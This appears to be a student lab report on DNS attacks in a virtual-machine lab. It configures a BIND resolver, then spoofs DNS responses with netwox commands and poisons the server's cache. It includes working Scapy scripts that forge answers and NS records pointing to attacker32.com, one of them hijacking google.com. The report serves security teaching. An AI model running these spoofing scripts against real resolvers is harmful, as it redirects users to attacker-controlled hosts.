

Task 1

User IP:

```
enp0s3  Link encap:Ethernet  HWaddr 08:00:27:30:ec:33
        inet addr:10.0.2.7  Bcast:10.0.2.255  Mask:255.255.255.0
        inet6 addr: fe80::e0e5:c3fa:b4bd:9cc4/64 Scope:Link
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:530 errors:0 dropped:0 overruns:0 frame:0
        TX packets:466 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:166651 (166.6 KB)  TX bytes:56953 (56.9 KB)

lo      Link encap:Local Loopback
        inet addr:127.0.0.1  Mask:255.0.0.0
        inet6 addr: ::1/128 Scope:Host
        UP LOOPBACK RUNNING  MTU:65536  Metric:1
        RX packets:1328 errors:0 dropped:0 overruns:0 frame:0
        TX packets:1328 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1
        RX bytes:109468 (109.4 KB)  TX bytes:109468 (109.4 KB)
```

DNS Server IP:

```
root@VM:/home/seed# ifconfig
enp0s3  Link encap:Ethernet  HWaddr 08:00:27:d4:a3:98
        inet addr:10.0.2.15  Bcast:10.0.2.255  Mask:255.255.255.0
        inet6 addr: fe80::3374:b285:f7d3:a7d1/64 Scope:Link
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:674 errors:0 dropped:0 overruns:0 frame:0
        TX packets:707 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:209002 (209.0 KB)  TX bytes:76956 (76.9 KB)

lo      Link encap:Local Loopback
        inet addr:127.0.0.1  Mask:255.0.0.0
        inet6 addr: ::1/128 Scope:Host
        UP LOOPBACK RUNNING  MTU:65536  Metric:1
        RX packets:1399 errors:0 dropped:0 overruns:0 frame:0
        TX packets:1399 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1
        RX bytes:117581 (117.5 KB)  TX bytes:117581 (117.5 KB)
```

changing the resolver configuration file (/etc/resolvconf/resolv.conf.d/head) of the user machine, so the server 10.0.2.15 is added as the first nameserver entry in the file:

```
[02/28/22]seed@VM:~$ su
Password:
root@VM:/home/seed# vim /etc/resolvconf/resolv.conf.d/head
```

```
root@VM: /home/seed 80x24
Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN

nameserver 10.0.2.15
```

Run the following command for the change to take effect: `$ sudo resolvconf -u`

And then, we dig to get an IP address from a random hostname: `dig www.exploess.com`

```
; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.exploess.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 3993
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
;; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.exploess.com.                IN      A

;; AUTHORITY SECTION:
com.                900      IN      SOA      a.gtld-servers.net. nstld.verisign-grs.com. 1646505381 1800 900 604800 86400

;; Query time: 168 msec
;; SERVER: 10.0.2.15#53(10.0.2.15)
;; WHEN: Sat Mar 05 13:36:38 EST 2022
;; MSG SIZE rcvd: 118
```

Notice that the response is indeed from 10.0.2.15

Task 2

Configure the BIND 9 server:

set up an option related to DNS cache by adding a dump-file entry to the options block and make sure DNSSEC is turned off:

```
//=====
// If BIND logs error messages about the root key being expired,
// you will need to update your keys. See https://www.isc.org/bind-keys
//=====

// dnssec-validation auto;
dnssec-enable no;
dump-file "/var/cache/bind/dump.db";
auth-nxdomain no;    # conform to RFC1035

query-source port      33333;
listen-on-v6 { any; };
```

After we start the DNS server by using the command on Server machine `$sudo service bind9`

restart, we ping www.google.com on User machine: \$ping www.google.com

```
PING www.google.com (142.251.32.100) 56(84) bytes of data.
64 bytes from lga25s77-in-f4.1e100.net (142.251.32.100): icmp_seq=1 ttl=110 time
=28.4 ms
64 bytes from lga25s77-in-f4.1e100.net (142.251.32.100): icmp_seq=2 ttl=110 time
=25.6 ms
64 bytes from lga25s77-in-f4.1e100.net (142.251.32.100): icmp_seq=3 ttl=110 time
=24.0 ms
64 bytes from lga25s77-in-f4.1e100.net (142.251.32.100): icmp_seq=4 ttl=110 time
=24.6 ms
64 bytes from lga25s77-in-f4.1e100.net (142.251.32.100): icmp_seq=5 ttl=110 time
=23.7 ms
64 bytes from lga25s77-in-f4.1e100.net (142.251.32.100): icmp_seq=6 ttl=110 time
=26.0 ms
64 bytes from lga25s77-in-f4.1e100.net (142.251.32.100): icmp_seq=7 ttl=110 time
=27.8 ms
^C
--- www.google.com ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6009ms
rtt min/avg/max/mdev = 23.747/25.765/28.472/1.707 ms
```

Information on Wireshark when we ping:

When the cache is empty:

| Source | Protocol | Length | Destination | Info |
|-------------------|----------|--------|-------------------|--|
| 10.0.2.7 | DNS | 74 | 10.0.2.15 | Standard query 0xa8fb A www.google.com |
| 10.0.2.15 | DNS | 85 | 192.36.148.17 | Standard query 0xb2da A www.google.com OPT |
| 10.0.2.15 | DNS | 70 | 192.36.148.17 | Standard query 0x6633 NS <Root> OPT |
| RealtekU_12:35:00 | ARP | 60 | Broadcast | Who has 10.0.2.15? Tell 10.0.2.1 |
| PcsCompu_d4:a3:98 | ARP | 42 | RealtekU_12:35:00 | 10.0.2.15 is at 08:00:27:d4:a3:98 |
| 192.36.148.17 | DNS | 85 | 10.0.2.15 | Standard query response 0xb2da A www.google.com OPT |
| 10.0.2.15 | TCP | 74 | 192.36.148.17 | 57365 → 53 [SYN] Seq=1348221182 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=7483889 TSecr=... |
| 192.36.148.17 | DNS | 70 | 10.0.2.15 | Standard query response 0x6633 NS <Root> OPT |
| 10.0.2.15 | TCP | 74 | 192.36.148.17 | 49365 → 53 [SYN] Seq=2619078758 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=7483890 TSecr=... |
| 192.36.148.17 | TCP | 60 | 10.0.2.15 | 53 → 57365 [SYN, ACK] Seq=29359 Ack=1348221183 Win=32768 Len=0 MSS=1460 |
| 10.0.2.15 | TCP | 54 | 192.36.148.17 | 57365 → 53 [ACK] Seq=1348221183 Ack=29360 Win=29200 Len=0 |
| 10.0.2.15 | DNS | 99 | 192.36.148.17 | Standard query 0xa7c7 A www.google.com OPT |
| 192.36.148.17 | TCP | 60 | 10.0.2.15 | 53 → 49365 [SYN, ACK] Seq=29850 Ack=2619078759 Win=32768 Len=0 MSS=1460 |
| 10.0.2.15 | TCP | 54 | 192.36.148.17 | 49365 → 53 [ACK] Seq=2619078759 Ack=29851 Win=29200 Len=0 |
| 10.0.2.15 | DNS | 84 | 192.36.148.17 | Standard query 0x4048 NS <Root> OPT |
| 192.36.148.17 | DNS | 1233 | 10.0.2.15 | Standard query response 0xa7c7 A www.google.com NS a.gtld-servers.net NS d.gtld-servers.n... |
| 10.0.2.15 | TCP | 54 | 192.36.148.17 | 57365 → 53 [ACK] Seq=1348221228 Ack=30539 Win=31833 Len=0 |
| 10.0.2.15 | DNS | 85 | 192.35.51.30 | Standard query 0xc437 A www.google.com OPT |
| 10.0.2.15 | TCP | 54 | 192.36.148.17 | 57365 → 53 [FIN, ACK] Seq=1348221228 Ack=30539 Win=31833 Len=0 |

The second time we ping www.google.com:

| | | | | | | |
|---|------------------------|----------------|------|-----|----------------|--|
| 1 | 2022-02-28 15:50:33... | 10.0.2.7 | DNS | 74 | 10.0.2.15 | Standard query 0x269c A www.google.com |
| 2 | 2022-02-28 15:50:33... | 10.0.2.15 | DNS | 338 | 10.0.2.7 | Standard query response 0x269c A www.google.co... |
| 3 | 2022-02-28 15:50:33... | 10.0.2.7 | ICMP | 98 | 142.251.32.100 | Echo (ping) request id=0x0c99, seq=1/256, ttl... |
| 4 | 2022-02-28 15:50:33... | 142.251.32.100 | ICMP | 98 | 10.0.2.7 | Echo (ping) reply id=0x0c99, seq=1/256, ttl... |
| 5 | 2022-02-28 15:50:33... | 10.0.2.7 | DNS | 87 | 10.0.2.15 | Standard query 0xaf2b PTR 100.32.251.142.in-ad... |
| 6 | 2022-02-28 15:50:33... | 10.0.2.15 | DNS | 383 | 10.0.2.7 | Standard query response 0xaf2b PTR 100.32.251.1... |

DNS cache refers to the temporary storage of information about previous DNS lookups on a machine's OS or web browser. Every time the user performs a DNS lookup, it will first look at the DNS cache. So, in our case, the second time obviously is faster because google.com is already stored in the cache by our first ping.

Task 3

Step 1: Create Zones in DNS server: \$ sudo vim /etc/bind/named.conf:

```

root@VM: /home/seed 80x24
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

zone "example.com" {
    type master;
    file "/etc/bind/example.com.db";
};
zone "0.168.192.in-addr.arpa" {
    type master;
    file "/etc/bind/192.168.0.db";
};

~
~
"/etc/bind/named.conf" 21L, 618C                               1,1          All

```

Step 2: \$sudo vim /etc/bind/example.com.db

```

root@VM: /home/seed
root@VM: /home/seed 80x24
TTL 3D ; default expiration time of all resource records without
; their own TTL
@      IN      SOA      ns.example.com.      admin.example.com. (
1      ; Serial
8H     ; Refresh
2H     ; Retry
4W     ; Expire
1D )   ; Minimum
@      IN      NS       ns.example.com.      ;Address of nameserver
@      IN      MX       10 mail.example.com. ;Primary Mail Exchanger
www    IN      A        192.168.0.101      ;Address of www.example.com
mail   IN      A        192.168.0.102      ;Address of mail.example.com
ns     IN      A        192.168.0.10      ;Address of ns.example.com
*.example.com. IN A      192.168.0.100      ;Address for other URL in
; the example.com domain

```

Step 3: \$ sudo vim /etc/bind/192.168.0.db

```

root@VM: /home/seed 80x24
TTL 3D
@      IN      SOA      ns.example.com.      admin.example.com. (
1
8H
2H
4W
1D)
@      IN      NS       ns.example.com.
101    IN      PTR      www.example.com.
102    IN      PTR      mail.example.com.
10     IN      PTR      ns.example.com.

```


Step 4:

```
root@VM:/home/seed# dig www.example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9555
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      192.168.0.101

;; AUTHORITY SECTION:
example.com.                    259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.                259200  IN      A      192.168.0.10

;; Query time: 0 msec
;; SERVER: 10.0.2.15#53(10.0.2.15)
;; WHEN: Mon Feb 28 16:09:10 EST 2022
;; MSG SIZE rcvd: 93
```

After what we create, the zones, in the DNS server, when we dig www.example.com in the User machine, the information like IP addresses 192.168.0.101 of the website will appear in the Answer Section.

Task 4

We first add “1.2.3.4 www.bank32.com” to /etc/hosts

```
127.0.0.1      localhost
127.0.1.1      VM

# The following lines are desirable for IPv6 capable hosts
::1           ip6-localhost ip6-loopback
fe00::0       ip6-localnet
ff00::0       ip6-mcastprefix
ff02::1       ip6-allnodes
ff02::2       ip6-allrouters
127.0.0.1     User
127.0.0.1     Attacker
127.0.0.1     Server
127.0.0.1     www.SeedLabSQLInjection.com
127.0.0.1     www.xsslabelgg.com
127.0.0.1     www.csrflabelgg.com
127.0.0.1     www.csrflabattacker.com
127.0.0.1     www.repackagingattacklab.com
127.0.0.1     www.seedlabclickjacking.com

1.2.3.4       www.bank32.com
```

Before modification:

```
root@VM:/home/seed# ping www.bank32.com
PING bank32.com (34.102.136.180) 56(84) bytes of data.
64 bytes from 180.136.102.34.bc.googleusercontent.com (34.102.136.180): icmp_seq=1 ttl=109 time=25.9 ms
64 bytes from 180.136.102.34.bc.googleusercontent.com (34.102.136.180): icmp_seq=2 ttl=109 time=23.5 ms
64 bytes from 180.136.102.34.bc.googleusercontent.com (34.102.136.180): icmp_seq=3 ttl=109 time=24.5 ms
64 bytes from 180.136.102.34.bc.googleusercontent.com (34.102.136.180): icmp_seq=4 ttl=109 time=24.6 ms
^C
--- bank32.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 23.577/24.674/25.922/0.832 ms
```

After modification:

```
root@VM:/home/seed# ping www.bank32.com
PING www.bank32.com (1.2.3.4) 56(84) bytes of data.
^C
--- www.bank32.com ping statistics ---
33 packets transmitted, 0 received, 100% packet loss, time 32760ms
```

Task 5

Sniff and fake DNS response on the attacker machine:

```
[03/02/22]seed@VM:~$ sudo netwox 105 -h "www.example.com" -H "10.0.2.8" -a "ns.example.com" -A "10.0.2.88" -f "src host 10.0.2.7 and dst port 53"
```

Now we will dig on the user machine:

```

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.exapmle.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11362
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;www.exapmle.com.                IN      A

;; ANSWER SECTION:
www.exapmle.com.                10      IN      A      10.0.2.8

;; AUTHORITY SECTION:
ns.example.com.                 10      IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.                 10      IN      A      10.0.2.88

;; Query time: 115 msec
;; SERVER: 10.0.2.15#53(10.0.2.15)
;; WHEN: Wed Mar 02 17:23:07 EST 2022
;; MSG SIZE rcvd: 112

```

Notice that the address becomes what we edited in the attacker machine.

The DNS query on the attacker machine:

```

DNS question
| id=11362 rcode=OK          opcode=QUERY
| aa=0 tr=0 rd=1 ra=0  quest=1 answer=0 auth=0 add=1
| www.exapmle.com. A
| . OPT UDPPl=4096 errcode=0 v=0 ...
+-----+
DNS answer
| id=11362 rcode=OK          opcode=QUERY
| aa=1 tr=0 rd=1 ra=1  quest=1 answer=1 auth=1 add=1
| www.exapmle.com. A
| www.exapmle.com. A 10 10.0.2.8
| ns.example.com. NS 10 ns.example.com.
| ns.example.com. A 10 10.0.2.88
+-----+

```

Before the attack, it looks like this when we dig:


```

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.exapmle.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24638
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 5

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.exapmle.com.                IN      A

;; ANSWER SECTION:
www.exapmle.com.                3452    IN      A      103.224.182.207

;; AUTHORITY SECTION:
exapmle.com.                    172652  IN      NS      ns1.above.com.
exapmle.com.                    172652  IN      NS      ns2.above.com.

;; ADDITIONAL SECTION:
ns1.above.com.                  172652  IN      A      103.224.182.5
ns1.above.com.                  172652  IN      A      103.224.212.5
ns2.above.com.                  172652  IN      A      103.224.212.6
ns2.above.com.                  172652  IN      A      103.224.182.6

;; Query time: 0 msec
;; SERVER: 10.0.2.15#53(10.0.2.15)
;; WHEN: Wed Mar 02 17:25:35 EST 2022
;; MSG SIZE rcvd: 166

```

The address looks normal and unmodified.

Additional Task 5:

Use this command to filter DNS packets: `$ sudo tcpdump -i enp0s3 -w capture.pcap udp port 53`

```

[03/06/22]seed@VM:~/Desktop$ sudo tcpdump -i enp0s3 -w capture.pcap udp port 53
tcpdump: listening on enp0s3, link-type EN10MB (Ethernet), capture size 262144 bytes
^C10 packets captured
10 packets received by filter
0 packets dropped by kernel

```

Result on wireshark:

| No. | Time | Source | Destination | Protocol | Length | Info |
|-----|----------------------------|-----------|-------------|----------|--------|---------------|
| 1 | 2022-03-06 13:06:50.130734 | 10.0.2.7 | 10.0.2.15 | DNS | 86 | Standard q... |
| 2 | 2022-03-06 13:06:50.131119 | 10.0.2.15 | 10.0.2.7 | DNS | 135 | Standard q... |
| 3 | 2022-03-06 13:06:50.271161 | 10.0.2.15 | 10.0.2.7 | DNS | 130 | Standard q... |
| 4 | 2022-03-06 13:06:51.791208 | 10.0.2.7 | 10.0.2.15 | DNS | 86 | Standard q... |
| 5 | 2022-03-06 13:06:51.791588 | 10.0.2.15 | 10.0.2.7 | DNS | 135 | Standard q... |
| 6 | 2022-03-06 13:06:51.839844 | 10.0.2.15 | 10.0.2.7 | DNS | 130 | Standard q... |
| 7 | 2022-03-06 13:06:59.568206 | 10.0.2.7 | 10.0.2.15 | DNS | 86 | Standard q... |
| 8 | 2022-03-06 13:06:59.568579 | 10.0.2.15 | 10.0.2.7 | DNS | 135 | Standard q... |
| 9 | 2022-03-06 13:07:00.521885 | 10.0.2.7 | 10.0.2.15 | DNS | 86 | Standard q... |
| 10 | 2022-03-06 13:07:00.522264 | 10.0.2.15 | 10.0.2.7 | DNS | 135 | Standard q... |

We can't use tcpdump to filter out spoofed DNS packets because attack spoofed source and destination all together. But it may be possible to use TTL analysis later to filter spoofed DNS packets.

TTL Analysis

Between two hosts the number of hops generally remains constant, or changes very little, between packets. As such if the TTL dramatically changes from one packet to another this could easily be a spoof attempt. This does require keeping more state information, and is not fool-proof since the route *could* change, but is often indicative enough.

Source: <https://ieeexplore.ieee.org/document/6376299>

Task 6

On the attacker's side:

```
[03/06/22]seed@VM:~$ sudo netwox 105 -h "www.example.com" -H "10.0.2.8" -a "ns.e
xample.com" -A "10.0.2.88" -T 600 -f "src host 10.0.2.15 and dst port 53" -s raw
DNS question
| id=29157 rcode=OK                opcode=QUERY
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=1
| www.example.net. A
| . OPT UDPPl=512 errcode=0 v=0 ...
DNS answer
| id=29157 rcode=OK                opcode=QUERY
| aa=1 tr=0 rd=0 ra=0  quest=1  answer=1  auth=1  add=1
| www.example.net. A
| www.example.net. A 600 10.0.2.8
| ns.example.com. NS 600 ns.example.com.
| ns.example.com. A 600 10.0.2.88
DNS question
| id=57791 rcode=OK                opcode=QUERY
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=1
| . NS
| . OPT UDPPl=512 errcode=0 v=0 ...
DNS answer
| id=57791 rcode=OK                opcode=QUERY
| aa=1 tr=0 rd=0 ra=0  quest=1  answer=1  auth=0  add=1
| . NS
| . NS 600 ns.example.com.
| ns.example.com. A 600 10.0.2.88
DNS question
| id=56792 rcode=OK                opcode=QUERY
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=1
| www.example.net. A
| . OPT UDPPl=512 errcode=0 v=0 ...
DNS answer
| id=56792 rcode=OK                opcode=QUERY
| aa=1 tr=0 rd=0 ra=0  quest=1  answer=1  auth=1  add=1
```

When we dig www.example.net from the user, we get the answer: 10.0.2.8 (our attacker ip):

```
; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37824
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 5

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.net.                IN      A

;; ANSWER SECTION:
www.example.net.                600     IN      A      10.0.2.8

;; AUTHORITY SECTION:
example.net.                    172800  IN      NS      b.iana-servers.net.
example.net.                    172800  IN      NS      a.iana-servers.net.

;; ADDITIONAL SECTION:
a.iana-servers.net.            172800  IN      A      199.43.135.53
a.iana-servers.net.            172800  IN      AAAA   2001:500:8f::53
b.iana-servers.net.            172800  IN      A      199.43.133.53
b.iana-servers.net.            172800  IN      AAAA   2001:500:8d::53

;; Query time: 156 msec
;; SERVER: 10.0.2.15#53(10.0.2.15)
;; WHEN: Sun Mar 06 14:57:46 EST 2022
;; MSG SIZE rcvd: 193
```

On the cache in the server, after: \$ sudo rndc dumpdb -cache

And \$ sudo cat /var/cache/bind/dump.db

| | | | | |
|---------------------|--------|------|---------------------|--|
| ; authanswer | | | | |
| www.example.net. | 406 | A | 10.0.2.8 | |
| ; glue | | | | |
| a.gtld-servers.net. | 172606 | A | 192.5.6.30 | |
| ; glue | | | | |
| | 172606 | AAAA | 2001:503:a83e::2:30 | |
| ; glue | | | | |
| b.gtld-servers.net. | 172606 | A | 192.33.14.30 | |
| ; glue | | | | |
| | 172606 | AAAA | 2001:503:231d::2:30 | |
| ; glue | | | | |
| c.gtld-servers.net. | 172606 | A | 192.26.92.30 | |
| ; glue | | | | |
| | 172606 | AAAA | 2001:503:83eb::30 | |
| ; glue | | | | |

Also on the Wireshark we can find this answer:

| No. | Time | Source | Destination | Protocol | Length | Info |
|-----|--------------------------------|---------------|---------------|----------|--------|---|
| 31 | 2022-03-06 14:57:46.8473142... | 10.0.2.15 | 192.33.4.12 | TCP | 60 | 36513 → 53 [ACK] Seq=228588798 Ack=83... |
| 32 | 2022-03-06 14:57:46.8618465... | 192.33.14.30 | 10.0.2.15 | TCP | 60 | 53 → 60207 [SYN, ACK] Seq=7698 Ack=409... |
| 33 | 2022-03-06 14:57:46.8619776... | 10.0.2.15 | 192.33.14.30 | TCP | 60 | 60207 → 53 [ACK] Seq=4092503778 Ack=76... |
| 34 | 2022-03-06 14:57:46.8620710... | 10.0.2.15 | 192.33.14.30 | DNS | 100 | Standard query 0xbca0 A www.example.ne... |
| 35 | 2022-03-06 14:57:46.8864007... | 192.33.14.30 | 10.0.2.15 | DNS | 680 | Standard query response 0xbca0 A www.e... |
| 36 | 2022-03-06 14:57:46.8865261... | 10.0.2.15 | 192.33.14.30 | TCP | 60 | 60207 → 53 [ACK] Seq=4092503824 Ack=83... |
| 37 | 2022-03-06 14:57:46.8867399... | 10.0.2.15 | 199.43.135.53 | DNS | 86 | Standard query 0x7d8f A www.example.ne... |
| 38 | 2022-03-06 14:57:46.8868282... | 10.0.2.15 | 192.33.14.30 | TCP | 60 | 60207 → 53 [FIN, ACK] Seq=4092503824 A... |
| 39 | 2022-03-06 14:57:46.8870436... | 192.33.14.30 | 10.0.2.15 | TCP | 60 | 53 → 60207 [ACK] Seq=8325 Ack=40925038... |
| 40 | 2022-03-06 14:57:46.9024042... | 199.43.135.53 | 10.0.2.15 | DNS | 149 | Standard query response 0x7d8f A www.e... |
| 41 | 2022-03-06 14:57:46.9027020... | 10.0.2.15 | 10.0.2.7 | DNS | 235 | Standard query response 0x93c0 A www.e... |

| | |
|--|--|
| Wireshark · Packet 41 · wireshark_enp0s3_20220306145737_kD7J3N | |
| Transaction ID: 0x93c0 | |
| Flags: 0x8180 Standard query response, No error | |
| Questions: 1 | |
| Answer RRs: 1 | |
| Authority RRs: 2 | |
| Additional RRs: 5 | |
| Queries | |
| www.example.net: type A, class IN | |
| Answers | |
| www.example.net: type A, class IN, addr 10.0.2.8 | |
| Authoritative nameservers | |
| Additional records | |

Task 7:

Assemble the code:

```

Open  dnsattck.py
#!/usr/bin/python
from scapy.all import *
def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.8')
        # The Authority Section
        NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, an=Anssec, ns=NSsec1)
        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

```

Initiate attack on the attacker machine:

```

[03/06/22]seed@VM:~$ sudo python dnsattck.py
Sent 1 packets.
Sent 1 packets.

```


Dig www.example.net on the user:

```
>>> DiG 9.10.3-P4-Ubuntu <>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47801
qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
www.example.net.                IN      A

;; ANSWER SECTION:
www.example.net.                259200  IN      A      10.0.2.8

;; AUTHORITY SECTION:
example.net.                    259200  IN      NS      attacker32.com.

;; Query time: 14 msec
;; SERVER: 10.0.2.15#53(10.0.2.15)
;; WHEN: Sun Mar 06 15:39:01 EST 2022
;; MSG SIZE rcvd: 103
```

Result on the wireshark:

| No. | Time | Source | Destination | Protocol | Length | Info |
|-----|--------------------------------|-------------------|-------------------|----------|--------|---|
| 1 | 2022-03-06 15:39:01.3449540... | 10.0.2.7 | 10.0.2.15 | DNS | 86 | Standard query 0xbab9 A www.example.ne... |
| 2 | 2022-03-06 15:39:01.3458616... | 10.0.2.15 | 193.0.14.129 | DNS | 70 | Standard query 0x677f NS <Root> OPT |
| 3 | 2022-03-06 15:39:01.3459587... | 10.0.2.15 | 193.0.14.129 | DNS | 89 | Standard query 0x1d32 AAAA E.ROOT-SERV... |
| 4 | 2022-03-06 15:39:01.3460953... | 10.0.2.15 | 193.0.14.129 | DNS | 89 | Standard query 0x67de AAAA G.ROOT-SERV... |
| 5 | 2022-03-06 15:39:01.3462526... | 10.0.2.15 | 193.0.14.129 | DNS | 86 | Standard query 0x3696 A www.example.ne... |
| 6 | 2022-03-06 15:39:01.3538836... | PcsCompu_41:e2:75 | Broadcast | ARP | 60 | Who has 10.0.2.7? Tell 10.0.2.8 |
| 7 | 2022-03-06 15:39:01.3538987... | PcsCompu_30:ec:33 | PcsCompu_41:e2:75 | ARP | 42 | 10.0.2.7 is at 08:00:27:30:ec:33 |
| 8 | 2022-03-06 15:39:01.3560844... | 10.0.2.15 | 10.0.2.7 | DNS | 145 | Standard query response 0xbab9 A www.e... |
| 9 | 2022-03-06 15:39:01.3785968... | PcsCompu_41:e2:75 | Broadcast | ARP | 60 | Who has 10.0.2.15? Tell 10.0.2.8 |
| 10 | 2022-03-06 15:39:01.3793620... | PcsCompu_d4:a3:98 | PcsCompu_41:e2:75 | ARP | 60 | 10.0.2.15 is at 08:00:27:d4:a3:98 |
| 11 | 2022-03-06 15:39:01.3809077... | 193.0.14.129 | 10.0.2.15 | DNS | 145 | Standard query response 0x3696 A www.e... |

Frame 8: 145 bytes on wire (1160 bits), 145 bytes captured (1160 bits) on interface 0

Wireshark - Packet 8 - wireshark_enp0s3_20220306153615_1uEcFP

[Time: 0.011130430 seconds]
Transaction ID: 0xbab9
Flags: 0x8400 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 0
Queries
Answers
www.example.net: type A, class IN, addr 10.0.2.8
Authoritative nameservers
example.net: type NS, class IN, ns attacker32.com

Task 8:

Code looks at this:

```
#!/usr/bin/python
from scapy.all import *
def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
        # The Answer Section
        Ansec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.8')
        # The Authority Section
        NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
        NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='attacker32.com')

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=0, an=Ansec, ns=NSsec1/
NSsec2)
        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
```

Initiate the attack on the attacker machine:

```
[03/06/22]seed@VM:~$ sudo python dnsattck2.py
```

```
.
Sent 1 packets.
```

```
.
Sent 1 packets.
```

```
.
Sent 1 packets.
```

Dig www.example.net on the user:

```
[03/06/22]seed@VM:~$ dig www.example.net
```

```
; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6357
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.net.                IN      A

;; ANSWER SECTION:
www.example.net.                 259200  IN      A      10.0.2.8

;; AUTHORITY SECTION:
example.net.                     259200  IN      NS      attacker32.com.
google.com.                     259200  IN      NS      attacker32.com.

;; Query time: 16 msec
;; SERVER: 10.0.2.15#53(10.0.2.15)
;; WHEN: Sun Mar 06 15:47:04 EST 2022
;; MSG SIZE rcvd: 141
```

Result on wireshark:

| No. | Time | Source | Destination | Protocol | Length | Info |
|-----|--------------------------------|-------------------|-------------------|----------|--------|---|
| 1 | 2022-03-06 15:47:04.1027118... | 10.0.2.7 | 10.0.2.15 | DNS | 86 | Standard query 0x18d5 A www.example.ne... |
